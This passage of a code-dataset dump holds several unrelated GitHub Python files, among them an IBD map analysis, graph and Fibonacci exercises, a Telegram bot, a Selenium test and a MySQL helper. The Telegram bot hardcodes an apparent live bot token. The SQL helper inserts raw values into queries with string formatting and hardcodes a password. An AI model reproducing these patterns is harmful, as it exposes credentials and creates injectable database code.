block_list[i, 1])[0][0]\n block_list[i, 0] = self.populations[ind1, 1]\n block_list[i, 1] = self.populations[ind2, 1]\n \n # Generate the block sharing matrix \n filler = np.frompyfunc(lambda x: list(), 1, 1)\n a = np.empty((k, k), dtype=np.object)\n self.pw_blocksharing = filler(a, a) # Initialize everything to an empty list. \n \n for i in range(len(block_list[:, 0])):\n ind1 = np.where(self.countries_oi == block_list[i, 0])[0] # First locate block1\n ind2 = np.where(self.countries_oi == block_list[i, 1])[0] # Then the second block \n \n if not ((len(ind1) > 0) and (len(ind2) > 0)): # Jump to next iteration if countries not in countrie_oi\n continue\n self.pw_blocksharing[max(ind1[0], ind2[0]), min(ind1[0], ind2[0])].append(float(block_list[i, 3])) # Add to block sharing.\n # print(\"Doing something!!!\")\n \n print(\"Interesting block sharing: %.0f \" % np.sum([len(a[i, j]) for i in range(k) for j in range(k)])) # Print interesting block sharing\n \n\n def calculate_pw_dist(self):\n '''Calculate Pairwise Distances of countries of interest.\n Also save latitude and longitude of every country'''\n country_found_list = [] # List of countries which were found\n lat_list = []\n long_list = []\n \n for country in self.countries_oi: # For every country of interest\n print(country)\n coord_ind = np.where(self.coordinates[:, 0] == country)[0]\n if not len(coord_ind) > 0:\n print(\"Country %.s not found!\" % country)\n continue\n print(\"Country %.s has index %i\" % (country, coord_ind[0]))\n \n country_found_list.append(country) # Append Country to the list of found countries\n lat_list.append(self.coordinates[coord_ind, 1]) # Append Geographic coordinates\n long_list.append(self.coordinates[coord_ind, 2])\n \n print(country_found_list)\n self.countries_oi = np.array(country_found_list) # Only countries which are found are of interest\n \n lat_list = np.array(lat_list).astype('float')\n long_list = np.array(long_list).astype('float')\n \n lat1_list = np.array([i[0] for i in lat_list]) # For kml extraction\n long1_list = np.array([i[0] for i in long_list])\n self.extract_kml(country_found_list, lat1_list, long1_list)\n \n self.make_mpl_map(lat1_list, long1_list) # Send data to Matplot Lib card function\n \n l = len(self.countries_oi) \n dist_mat = np.zeros((l, l))\n \n for i in range(0, l): # Iterate over all pairs of \n for j in range(0, i): \n dist_mat[i, j] = self.calc_dist(lat_list[i], long_list[i], lat_list[j], long_list[j])\n \n self.latlon_list = np.array([[lat_list[i], long_list[i]] for i in xrange(l)]) # Write the LatLon List\n self.position_list = self.map_projection(long_list, lat_list)\n \n self.pw_distances = dist_mat\n \n \n def calc_dist(self, lat1, long1, lat2, long2):\n '''Calculates the pairwise distance between the given coordinates''' \n coord1 = (lat1, long1)\n coord2 = (lat2, long2)\n return vincenty(coord1, coord2).meters / 1000.0 # Return distance of input points (in km)\n\n \n def calc_ind_nr(self):\n '''Generates the number of individuals per countrie_of_i entry'''\n nr_inds = []\n for country in self.countries_oi:\n nr_ind = np.sum(self.populations[:, 1] == country)\n # print(\"Country %s has %.0f inds\" % (country, nr_ind))\n nr_inds.append(nr_ind)\n self.nr_individuals = nr_inds\n \n def extract_kml(self, index, lat, lon):\n '''Extract Google maps file from lot long Values with name index'''\n kml = simplekml.Kml() # Load the KML Creater\n \n for i in range(len(lat)): \n pnt = kml.newpoint(name=index[i], coords=[(lon[i], lat[i])]) \n # pnt.description = data[i, comm_ind]\n pnt.stylemap = style\n # pnt.altitudemode = 'absolute'\n pnt.extrude = 1\n \n kml.save(\"output.kml\") # Save the kml file\n print(\"GPS saved!\")\n \n \n def make_mpl_map(self, lats, lons):\n '''Method that makes a map within matplotlib with points at lat, lon'''\n \n m = Basemap(projection='merc', llcrnrlat=30, urcrnrlat=65,\n llcrnrlon=5, urcrnrlon=40, resolution='i')\n # m = Basemap(llcrnrlon=-10.5, llcrnrlat=35, urcrnrlon=4., urcrnrlat=44.,\n # resolution='i', projection='merc', lat_0 = 39.5, lon_0 = -3.25)\n \n \n # m.drawcountries(linewidth=0.1,color='w')\n \n # m.drawmapboundary(fill_color='aqua')\n m.drawcoastlines()\n m.drawcountries(linewidth=1, color='k')\n # m.drawcountries()\n m.fillcontinents(color='coral')\n \n # Make the points\n for i in range(len(lons)):\n print(lats[i])\n print(lons[i])\n x, y = m(float(lons[i]), float(lats[i]))\n m.plot(x, y, 'bo', markersize=8)\n \n plt.show()\n \n \n def map_projection(self, lon_vec, lat_vec):\n '''\n Winkel projection with standard parallel at mean latitude of the sample\n argument is (n,2) array with longitude as first column and latitude as second column\n returns cartesian coordinates in kilometers\n '''\n lon_lat_positions = np.column_stack((lon_vec, lat_vec))\n earth_radius = 6367.0 # radius at 46N\n lon_lat_positions = np.pi * lon_lat_positions / 180.0 # convert to radian\n mean_lat = np.mean(lon_lat_positions[:, 1])\n X = earth_radius * lon_lat_positions[:, 0] * .5 * (np.cos(mean_lat) + np.cos(lon_lat_positions[:, 1]))\n Y = earth_radius * lon_lat_positions[:, 1]\n return np.column_stack((X, Y))\n \n \n","repo_name":"hringbauer/IBD-Analysis","sub_path":"ibd_analysis/analysis_popres/loaddata.py","file_name":"loaddata.py","file_ext":"py","file_size_in_byte":9329,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"3734156136","text":"#!/usr/bin/python\n\nimport networkx as nx\n\nif __name__ == \"__main__\":\n\n str = input(\"\")\n n, p, k = str.split(\" \")\n\n n = int(n)\n p = int(p)\n k = int(k)\n\n G = nx.Graph()\n C = nx.Graph()\n C = G\n\n while(n != 0):\n\n for i in range(0, p):\n str = input(\"\")\n u, v = str.split(\" \")\n G.add_edge(int(u), int(v))\n\n remove = True\n\n while(remove):\n remove = False\n for node in C.nodes():\n if(C.degree(node) < k):\n G.remove_node(node)\n remove = True\n break\n\n if(len(G)==0 or len(C)==0):\n print(0)\n else:\n M = max(nx.connected_component_subgraphs(G), key=len)\n print(len(M))\n\n str = input(\"\")\n n, p, k = str.split(\" \")\n\n n = int(n)\n p = int(p)\n k = int(k)\n","repo_name":"mariaclaradias/LPA","sub_path":"lab05b.py","file_name":"lab05b.py","file_ext":"py","file_size_in_byte":813,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"22098041008","text":"#Exercício para produzir a sequência de Fibonacci (o valor seguir é a soma dos dois anteriores \n\nquant = int(input(\"Informe a quantidade de números na sequencia: \"))\nvaloratual = 0\nvaloranterior = 0\nfor i in range(quant):\n print(valoratual)\n valoratual = valoratual + valoranterior\n valoranterior = valoratual-valoranterior\n if(valoratual == 0):\n valoratual = 1","repo_name":"StheCabral/Estudos-em-Python","sub_path":"Exercício Sequência Fibonacci.py","file_name":"Exercício Sequência Fibonacci.py","file_ext":"py","file_size_in_byte":382,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"15032979368","text":"import telebot\r\nimport sqlite3 as sq\r\n\r\nimport Config as cfg\r\nimport DataBase as db\r\n\r\nbot=telebot.TeleBot('5386732687:AAGuTM9bbuhT_M18DRiKziYvvwl6_dnF0Dc')\r\n\r\n@bot.message_handler(commands=['start'])\r\ndef start(message):\r\n bot.send_message(message.from_user.id,f'💠Привет\\n💲Баланс: {db.Balance(message)}')\r\n\r\n@bot.message_handler(commands=['give'])\r\ndef give_money(message):\r\n if message.from_user.id==cfg.AdminID:\r\n try:\r\n db.give(message)\r\n bot.send_message(message.from_user.id,f'Вы выдали пользователю денег')\r\n except:\r\n bot.send_message(message.from_user.id,f'Не верный формат')\r\n\r\nbot.polling()","repo_name":"Fridysdssss/djsudifuyehehudug7dueuueuduu","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":711,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"11939449684","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\nclass RobotPartner():\n def __init__(self, exe_type, hsr_robot):\n self.exe_type = exe_type\n self.tts = None\n self.whole_body = None\n if self.exe_type == 'hsr':\n self.whole_body = hsr_robot.try_get('whole_body')\n self.tts = hsr_robot.try_get('default_tts')\n \n def say(self, content):\n if self.exe_type=='hsr':\n self.tts.say(content)\n else:\n print('Robot : ' + content)","repo_name":"Nao-Y1996/gnn_state_recognition","sub_path":"script/robot_tools.py","file_name":"robot_tools.py","file_ext":"py","file_size_in_byte":511,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"2666352494","text":"import time\n\nimport pytest\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.service import Service\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support import expected_conditions\nfrom selenium.webdriver.support.select import Select\nfrom selenium.webdriver.support.wait import WebDriverWait\n\nfrom pageObjects.CheckoutPage import CheckOutPage\nfrom pageObjects.ConfirmPage import ConfirmPage\nfrom pageObjects.HomePage import HomePage\nfrom utilities.BaseClass import BaseClass\n\n\nclass TestOne(BaseClass):\n\n def test_e2e(self):\n log = self.get_logging()\n prod = 'Blackberry'\n final_msg = \"Success! Thank you! Your order will be delivered in next few weeks :-).\"\n homePage = HomePage(self.driver)\n\n checkOutPage = homePage.shopItems()\n log.info(\"getting all the card titles\")\n\n products = checkOutPage.getCardTitle()\n for product in products:\n if prod == product.text:\n product.checkOutPage.addToCard.click()\n log.info(\"adding item to cart\")\n\n checkOutPage.checkoutTab().click()\n\n confirmPage = checkOutPage.checkoutButton()\n\n confirmPage.locationTab().send_keys(\"ind\")\n log.info(\"entering country name\")\n\n self.verifyLinkPresence(\"India\")\n\n confirmPage.clickonCountry().click()\n\n confirmPage.clickonCheckbox().click()\n\n confirmPage.clickOnSubmit().click()\n\n success_text = confirmPage.successMessage().text\n log.info(\"Text received from application\"+ success_text)\n print(success_text)\n print(final_msg)\n assert final_msg in success_text\n print(\"git exersice in gitDemo\")\n print(\"hello\")\n print(\"hello\")\n print(\"hello\")\n print(\"hello\")\n print(\"hello\")\n\n\n","repo_name":"syedkhalander/GitDemo","sub_path":"tests/test_e2e.py","file_name":"test_e2e.py","file_ext":"py","file_size_in_byte":1818,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"70505606123","text":"import pymysql\n\n# The SQLs\n# Insert\ninsert_into_Info = \"\"\"insert into\nDataProductInfo(RootURL_ID, Product_Name, Product_Model, CommentNum, UpdateTime, User)\nvalues('{}', '{}', '{}', '{}', '{}', '{}')\"\"\"\ninsert_into_Comment = \"\"\"insert into\nDataProductComment(product_ID, Product_Type_ID, Reviewer, Location, Comment,\nCommentMedia, CommentTime, Score, ScoreSource, upvote, reviews, UpdateTime, User)\nvalues('{}', '{}', '{}', '{}', '{}', '{}', '{}', '{}', '{}', '{}', '{}', '{}', '{}')\"\"\"\n# Select\n# Query if the product is exist\nif_product_in_table = \"select 1 from DataProductInfo where Product_Name = '{}' limit 1;\"\nif_comment_in_table = \"\"\"select 1 from DataProductComment\nwhere Comment = '{}' and Reviewer = '{}' and CommentTime = '{}' and Location = '{}'\nlimit 1;\n\"\"\"\n# Query the product id\nquery_product_id = \"select Product_ID from DataProductInfo where Product_Name = '{}'\"\n# Update\n# Update the product information table\nupdate_product_info = \"\"\"update DataProductInfo\nset {} = '{}'\nwhere Product_Name = '{}'\n\"\"\"\nupdate_product_info2 = \"\"\"update DataProductInfo\nset {} = '{}'\nwhere Product_ID = {}\n\"\"\"\n\n\ndef connect_database():\n # Create a connection to database\n # connect = pymysql.connect(\n # user=\"root\",\n # password=\"12345678\",\n # database=\"online_Data\",\n # charset=\"utf8\",\n # )\n connect = pymysql.connect(\n user=\"root\",\n password=\"12345678\",\n database=\"online_Data\",\n charset=\"utf8\",\n )\n connect.autocommit(True)\n cursor = connect.cursor()\n return connect, cursor\n\n\ndef query(cursor, sql):\n cursor.execute(sql)\n result = cursor.fetchone()\n return result\n","repo_name":"b304b304/Henry-Wong","sub_path":"Product_comment_analysis_system/auto_spider_windows_version/sql.py","file_name":"sql.py","file_ext":"py","file_size_in_byte":1657,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"19"} +{"seq_id":"25576670924","text":"'''\nProcess the openwebtext dataset in chunks. Can parallelize the execution of\nthis script across chunks and then call this script with the --reduce_step flag\nto merge the chunks (if needed). Typically, HuggingFace will accept the data in\nchunks (as a list of data paths).\n\nCall this script with an incomplete number of chunk indices to process only\npart of the dataset.\n\nThe script currently tags each sentence with its length.\n'''\nfrom pathlib import Path\nfrom tqdm import tqdm\nimport subprocess\nimport json\nimport nltk\nnltk.download('punkt')\n\nfrom nltk.tokenize import sent_tokenize, word_tokenize\n\n\ndef linecount(filename):\n count = 0\n with open(filename, 'r') as f:\n for line in f:\n count += 1\n return count\n\n\ndef merge_files(filepaths, outpath):\n with open(outpath, 'w') as outfile:\n for fname in tqdm(filepaths):\n with open(fname, 'r') as infile:\n for line in infile:\n outfile.write(line)\n\n\ndef write_record(record, fp):\n record_str = json.dumps(record)\n fp.write(f\"{record_str}\\n\")\n fp.flush()\n\n\ndef tag_word_length(doc):\n # split the document into sentences\n sents = sent_tokenize(json.loads(doc)['text'])\n new_sents = []\n for sent in sents:\n num_words = len(word_tokenize(sent))\n new_sent = f\" {num_words} {sent}\"\n new_sents.append(new_sent)\n return \" \".join(new_sents)\n\n\ndef process_fn(save_dir, split, txt_data):\n print(\"Processing data\")\n\n # count lines\n count = linecount(txt_data)\n\n chunk_size = count // args.total_chunks\n chunk_start_idx = chunk_size * args.chunk_idx\n chunk_end_idx = chunk_size * (args.chunk_idx + 1)\n chunk_path = f\"{path}_{args.chunk_idx}\"\n with open(chunk_path, 'w') as fw:\n with open(txt_data, 'r') as fr:\n with tqdm(total=chunk_size) as pbar:\n for i, doc in enumerate(fr):\n if i < chunk_start_idx:\n continue\n elif i >= chunk_end_idx:\n break\n else:\n ############################\n # TODO Replace with your own function for a custom dataset\n doc = tag_word_length(doc)\n write_record({'text': doc}, fw)\n ############################\n\n # move the progress bar 1 unit\n pbar.update(1)\n return chunk_path\n\n\nif __name__ == \"__main__\":\n import argparse\n parser = argparse.ArgumentParser(description='preprocess data in chunks')\n parser.add_argument('--data_dir', type=str, help=\"where the openwebtext data is downloaded\")\n parser.add_argument('--output_dir', type=str, help=\"where to output the processed files\")\n parser.add_argument('--chunk_idx', type=int, default=0, help=\"which chunk to generate\")\n parser.add_argument('--total_chunks', type=int, default=8, help=\"total number of chunks\")\n parser.add_argument('--reduce_step', action='store_true', help=\"whether to do the reduce step instead of the mapping step\")\n args = parser.parse_args()\n\n data_dir = Path(args.data_dir)\n save_dir = Path(args.output_dir)\n save_dir.mkdir(exist_ok=True, parents=True)\n\n splits = ['train', 'val']\n\n if not args.reduce_step:\n for split in splits:\n path = save_dir / f'{split}.jsonl'\n txt_path = data_dir / f'{split}.jsonl'\n save_path = process_fn(save_dir, split, txt_path)\n save_path = Path(save_path)\n else:\n # merge data (optional, not necessarily recommended)\n for split in splits:\n path = save_dir / f'{split}.jsonl'\n filepaths = [f\"{path}_{i}\" for i in range(args.total_chunks)]\n merge_files(filepaths, path)\n\n","repo_name":"sangmichaelxie/cs324_p2","sub_path":"src/process_data.py","file_name":"process_data.py","file_ext":"py","file_size_in_byte":3838,"program_lang":"python","lang":"en","doc_type":"code","stars":95,"dataset":"github-code","pt":"19"} +{"seq_id":"14546234461","text":"from transformers import AutoTokenizer, AutoModelForSeq2SeqLM\r\nfrom sentence_transformers import SentenceTransformer\r\nimport logging\r\nimport torch\r\nfrom . import anonym_utils\r\n\r\n\r\ndef print_example(indexes, origina_docs, new_docs):\r\n print('Before:')\r\n for i in indexes:\r\n print(origina_docs[i])\r\n print('\\nAfter:')\r\n for i in indexes:\r\n print(new_docs[i])\r\n\r\n\r\ndef sum_text_basic(doc_list, tokenizer, gen_model, device):\r\n # define the input sentences\r\n # input_text = '. '.join(doc_list)\r\n input_text = ''\r\n for doc in doc_list:\r\n input_text = f'{input_text}\\n- {doc}. ' \r\n\r\n # preprocess the input sentences\r\n input_ids = tokenizer.encode(f'Generate a general form of these sentences: \\n{input_text}', return_tensors=\"pt\")\r\n\r\n # Moving to device\r\n input_ids = input_ids.to(device)\r\n gen_model = gen_model.to(device)\r\n\r\n # generate the summary sentence\r\n output_ids = gen_model.generate(input_ids=input_ids, max_length=32, num_beams=4, early_stopping=True)\r\n output = tokenizer.decode(output_ids[0], skip_special_tokens=True)\r\n\r\n return output\r\n\r\n\r\ndef sum_text(doc_list, tokenizer, gen_model, device):\r\n # define the input sentences\r\n # input_text = '. '.join(doc_list)\r\n input_text = ''\r\n i = 1\r\n for doc in doc_list:\r\n input_text = f'{input_text}{i}: {doc}. ' \r\n i += 1\r\n \r\n # print('doc_list:', doc_list)\r\n # preprocess the input sentences\r\n prompt = prompt_builder(doc_list)\r\n input_ids = tokenizer.encode(prompt, return_tensors=\"pt\")\r\n\r\n # Moving to device\r\n input_ids = input_ids.to(device)\r\n gen_model = gen_model.to(device)\r\n\r\n # generate the summary sentence\r\n output_ids = gen_model.generate(input_ids=input_ids, max_length=32, num_beams=4, early_stopping=True)\r\n output = tokenizer.decode(output_ids[0], skip_special_tokens=True)\r\n\r\n return output\r\n\r\n\r\ndef run_anonymization_on_txt(docs, k, n_jobs):\r\n \"\"\" Finding K nearest neighbors and summarize them \"\"\"\r\n \r\n # Defining models\r\n # google/flan-t5-xl\r\n # \"google/flan-t5-xl\"\r\n tok_model_name = 'google/flan-t5-xl'\r\n gen_model_name = 'google/flan-t5-xl'\r\n emb_model_name = 'sentence-transformers/all-MiniLM-L12-v1'\r\n\r\n logging.debug(f'Tokenizer: {tok_model_name} Genrative model: {gen_model_name} Embedding model: {emb_model_name}')\r\n \r\n # Uploading models\r\n tokenizer = AutoTokenizer.from_pretrained(tok_model_name)\r\n gen_model = AutoModelForSeq2SeqLM.from_pretrained(gen_model_name)\r\n emb_model = SentenceTransformer(emb_model_name)\r\n\r\n annon_docs = docs.copy()\r\n # Embedding\r\n logging.info('Embedding the documents...')\r\n docs_emb = emb_model.encode(docs, show_progress_bar=False)\r\n logging.debug(f'Embedding dimensions: {docs_emb.shape}, {type(docs_emb)}')\r\n # neighbor_list = ckmeans_clustering(docs_emb, k)\r\n neighbor_list = anonym_utils.ckmeans_clustering(docs_emb, k=k, n_jobs=1, dim_reduct=False)\r\n logging.info(f'Found {len(neighbor_list)} groups of {k} neighbors')\r\n\r\n logging.info(f'Generating alternative documents...')\r\n for n in neighbor_list:\r\n # print('n:', n)\r\n curr_docs = []\r\n for doc_index in n:\r\n # Adding the document to the similar doc list\r\n curr_docs.append(docs[doc_index])\r\n device = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\r\n sum_doc = sum_text(curr_docs, tokenizer, gen_model, device)\r\n # sum_doc = sum_text_0(curr_docs, tokenizer, gen_model, device)\r\n # print('similar_doc_ind', n, '\\tSummary:', sum_doc)\r\n for doc_index in n:\r\n annon_docs[doc_index] = sum_doc\r\n\r\n logging.info(f'Generation completed.')\r\n\r\n return annon_docs, neighbor_list\r\n\r\n\r\ndef prompt_builder(docs):\r\n \"\"\"\r\n Generating the prompt for document generalization\r\n \"\"\"\r\n\r\n # Removing /n from documents\r\n new_docs = []\r\n for d in docs:\r\n new_docs.append(d.replace('\\n',' '))\r\n \r\n # Adding new line and '-' between documents\r\n sents = '\\n-'.join(new_docs)\r\n # Adding '-' before the first document\r\n sents = '-' + sents + '\\n'\r\n\r\n prompt = f'''Write a general sentence that best represents each of the following sentences and is true to all of them. For example: \r\n\r\nSentences:\r\n-the alchemist: sure this is an interesting book. unfortunately the copy we received was written in spanish!\r\n-immensee: a beautiful story, but the translation from the original language (german) is unbelievably poor.\r\nResult: \r\nGood book, problem with the translation.\r\n\r\nSentences:\r\n-low budget: some good action and scenery, but otherwise pretty low budget movie. only recommended for die-hard horror fans.\r\n-horrible movie!: please listen everybody this movie is terrible-don\\'t bother ok!it is just dumb not scary!\r\nResult: \r\nThe movie was bad.\r\n\r\nSentences:\r\n-america the beautiful: this book works great for teaching the song. the hardback cover is great for multiple uses.\r\n-enjoyable music: bought this to use for our church\\'s hawaiaan-harvest festival for children ages 4-12. great music!\r\nResult: \r\nGood and useful music.\r\n\r\nSentences:\r\n-invaluable: the authors have provided the quintessential study guide to the canterbury tales. this book is invaluable.\r\n-magical: wonderful characters, stories within stories. this book offers beautiful writing, a deep spirituality and a happy ending!\r\nResult: \r\nWonderful book and great writing.\r\n\r\nSentences:\r\n-textbook: book shipped quickly and was in excellent condition as stated. easy transaction would buy again\r\n-mathbook: excellent condition of book. description is true to the condition of the mathbook.shipped quickly excellent seller.\r\n-good deal!: used library book, but still in good condition. book came quickly and was cheap. overall good deal!\r\nResult: \r\nGood condition book, good delivery and good seller.\r\n\r\nSentences:\r\n-great: wishmaster is a fantastic album, that should grace everyone's music collection. innovating and always refreshing. truly a masterpiece.\r\n-fantastic debut: a great debut record from a band who deserve a lot of attention. buy this record twice.\r\n-great music, great arrangements and performance.: very satisfied with this cd. cem duruoz is a genius.\r\nResult: \r\nGreat music, highly recommended.\r\n\r\nSentences:\r\n{sents}\r\nResult:\r\n'''\r\n return prompt\r\n\r\n\r\n","repo_name":"neumanh/K-anonymity-fot-texts","sub_path":"kanonym4text/utils/llm_utils.py","file_name":"llm_utils.py","file_ext":"py","file_size_in_byte":6355,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"613807338","text":"class File(object):\n\n # 初始化方法\n def __init__(self, _name, _op):\n # 定义变量保存文件名和打开模式\n self.fileName = _name\n self.operator = _op\n\n # 上文方法\n def __enter__(self):\n print(\"进入上文方法\")\n self.file = open(self.fileName,self.operator)\n return self.file\n\n # 下文方法\n def __exit__(self, exc_type, exc_val, exc_tb):\n print('进入下文方法')\n if exc_type == None:\n print('PASS')\n else:\n print('Type: ', exc_type)\n print('Value:', exc_val)\n print('TreacBack:', exc_tb)\n # 返回值决定了捕获的异常是否继续向外抛出\n # 如果是 False 那么就会继续向外抛出,程序会看到系统提示的异常信息\n # 如果是 True 不会向外抛出,程序看不到系统提示信息,只能看到else中的输出\n return True\n\n\nif __name__ == '__main__':\n # 使用with管理文件\n with File(\"fox.txt\", \"r\") as file:\n _data = file.read()\n print(_data)","repo_name":"yifan99233/PythonPractice","sub_path":"upgrade/0x06 Python高级语法/src/03_with与上下文管理器.py","file_name":"03_with与上下文管理器.py","file_ext":"py","file_size_in_byte":1087,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"5884668496","text":"from django.urls import include, path\nfrom .views import classroom, students, teachers\nfrom .view import SubjectCreateView, SubjectListView, SubjectUpdateView, SubjectDeleteView\n\nurlpatterns = [\n path('', classroom.home, name='home'),\n path('subjects/', SubjectListView.as_view(), name='Index'),\n path('subjects/new/', SubjectCreateView.as_view(), name='Create'),\n path('subjects//update/', SubjectUpdateView.as_view(), name='Edit'),\n path('subjects//delete/', SubjectDeleteView.as_view(), name='Delete'),\n\n path('students/', include(([\n path('', students.QuizListView.as_view(), name='quiz_list'),\n path('interests/', students.StudentInterestsView.as_view(), name='student_interests'),\n path('taken/', students.TakenQuizListView.as_view(), name='taken_quiz_list'),\n path('quiz//', students.take_quiz, name='take_quiz'),\n ], 'AppQuiz'), namespace='students')),\n\n path('teachers/', include(([\n path('', teachers.QuizListView.as_view(), name='quiz_change_list'),\n path('quiz/add/', teachers.QuizCreateView.as_view(), name='quiz_add'),\n path('quiz//', teachers.QuizUpdateView.as_view(), name='quiz_change'),\n path('quiz//delete/', teachers.QuizDeleteView.as_view(), name='quiz_delete'),\n path('quiz//results/', teachers.QuizResultsView.as_view(), name='quiz_results'),\n path('quiz//question/add/', teachers.question_add, name='question_add'),\n path('quiz//question//', teachers.question_change, name='question_change'),\n path('quiz//question//delete/', teachers.QuestionDeleteView.as_view(), name='question_delete'),\n ], 'AppQuiz'), namespace='teachers')),\n]\n","repo_name":"Treemzy/Django-Quiz-App","sub_path":"AppQuiz/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1783,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"31540675299","text":"import cv2\n\nimage = cv2.imread(' # Image path ')\n\ngray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\ninverted = 255 - gray\n\nblur = cv2.GaussianBlur(inverted, (21, 21), 0)\ninverted_blur = 255 - blur\n\nsketch = cv2.divide(gray, inverted_blur, scale=256.0)\n\n# Save the sketch image \ncv2.imwrite('Sketch_image.png', sketch)\ncv2.imshow('Sketch Image', sketch)","repo_name":"mahimairaja/Advanced-Python","sub_path":"Image_to_Sketch/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":350,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"19281492651","text":"import io\r\nimport numpy as np\r\nimport tensorflow as tf\r\n\r\nfrom tensorflow import keras\r\nfrom keras.layers import TextVectorization\r\nfrom model import *\r\nfrom prepare_data import *\r\nfrom text_generator_callback import * \r\n\r\nBATCH_SIZE = 128\r\nSEQUENCE_LENGTH = 64\r\n# Set the number of negative samples per positive context.\r\nNUM_HEADS = 2\r\nSEED = 42\r\nFEED_FORWARD_DIM = 64\r\n\r\nbuffer_size = 5000\r\nembedding_dim = 64\r\n\r\n\r\ndef main():\r\n # Loading data\r\n file_path = '../Homework10/bible.txt'\r\n\r\n with open(file_path, \"r\") as f:\r\n text = f.read().splitlines()\r\n\r\n for line in text[:50]:\r\n print(line) \r\n\r\n # Preparing Data for Model\r\n vocabulary = dict((x, i) for i, x in enumerate(np.unique(list(text))))\r\n vocab_size = len(vocabulary)\r\n print(vocab_size, '\\n')\r\n\r\n # Preparing Data for Model\r\n dataset = tf.data.TextLineDataset(file_path).filter(lambda x: tf.cast(tf.strings.length(x), bool))\r\n\r\n # Use the `TextVectorization` layer to normalize, split, and map strings to\r\n # integers. Set the `output_sequence_length` length to pad all samples to the\r\n # same length.\r\n vectorize_layer = TextVectorization(\r\n standardize=custom_standardization,\r\n max_tokens=vocab_size - 1,\r\n output_mode='int',\r\n output_sequence_length=SEQUENCE_LENGTH + 1)\r\n\r\n # Create the vocabulary for text dataset\r\n vectorize_layer.adapt(dataset.batch(BATCH_SIZE))\r\n # Returns a list of all vocabulary tokens sorted (descending) by their frequency\r\n inverse_vocab = vectorize_layer.get_vocabulary()\r\n print(inverse_vocab[:30], '\\n')\r\n \r\n dataset = config_dataset(dataset, buffer_size, BATCH_SIZE)\r\n\r\n word_to_index = {}\r\n # Tokenize starting prompt\r\n for index, word in enumerate(inverse_vocab):\r\n word_to_index[word] = index\r\n\r\n start_prompt = 'The First Book'\r\n start_tokens = [word_to_index.get(_, 1) for _ in start_prompt.split()]\r\n num_tokens_generated = 50\r\n text_generator_callback = TextGenerator(num_tokens_generated, start_tokens, \r\n inverse_vocab, SEQUENCE_LENGTH)\r\n \r\n gpt_model = createTransformerModel(vocab_size=vocab_size, \r\n sequence_length=SEQUENCE_LENGTH, \r\n embed_dim=embedding_dim,\r\n num_heads=NUM_HEADS,\r\n feed_forward_dim=FEED_FORWARD_DIM)\r\n \r\n history = gpt_model.fit(dataset,\r\n epochs=25,\r\n verbose=1,\r\n callbacks=[text_generator_callback])\r\n \r\n gpt_model.summary()\r\n\r\n # Obtain the weights from the model using Model.get_layer and Layer.get_weights.\r\n weights = gpt_model.layers[1].get_weights()\r\n vocab = vectorize_layer.get_vocabulary()\r\n\r\n # Create and save the vectors and metadata files\r\n out_v = io.open('vectors.tsv', 'w', encoding='utf-8')\r\n out_m = io.open('metadata.tsv', 'w', encoding='utf-8')\r\n\r\n for index, word in enumerate(vocab):\r\n if index == 0:\r\n continue # skip 0, it's padding.\r\n vec = weights[index]\r\n out_v.write('\\t'.join([str(x) for x in vec]) + \"\\n\")\r\n out_m.write(word + \"\\n\")\r\n out_v.close()\r\n out_m.close()\r\n\r\n\r\nif __name__ == '__main__':\r\n main()","repo_name":"AndriiSherstiukM/Implementing-ANNs-with-Tensorflow","sub_path":"Homework11/homework11.py","file_name":"homework11.py","file_ext":"py","file_size_in_byte":3356,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"29807180194","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport argparse\nimport operator\nimport os\nimport json\n\n\ndef parseargs():\n msg = \"add failed translation\"\n usage = \"add_failed_translation.py [] [-h | --help]\"\n parser = argparse.ArgumentParser(description=msg, usage=usage)\n parser.add_argument(\"--hypo\", type=str, required=True)\n parser.add_argument(\"--base\", type=str, required=True)\n parser.add_argument(\"--output\", type=str, required=True)\n \n return parser.parse_args()\n\n\nif __name__ == \"__main__\":\n args = parseargs()\n hypo = open(args.hypo, 'r').read()\n base = open(args.base, 'r').read()\n result = []\n lines_hypo = hypo.split('\\n')\n lines_base = base.split('\\n')\n if lines_hypo[-1] == '':\n del lines_hypo[-1]\n for i in range(len(lines_hypo)):\n h = lines_hypo[i]\n if h != '':\n result.append(h)\n else:\n result.append(lines_base[i])\n output = open(args.output, 'w')\n output.write('\\n'.join(result)+'\\n')\n","repo_name":"Glaceon31/NMTPhraseDecoding","sub_path":"thumt/scripts/add_failed_translation.py","file_name":"add_failed_translation.py","file_ext":"py","file_size_in_byte":1077,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"24150874252","text":"\"\"\"\n.. module:: operations\n :platform: Unix, Windows\n :synopsis: Provides geometric operations for B-Spline and NURBS shapes\n\n.. moduleauthor:: Onur Rauf Bingol \n\n\"\"\"\n\nimport math\nimport copy\nimport warnings\nfrom . import abstract\nfrom . import multi\nfrom . import helpers\nfrom . import evaluators\nfrom . import 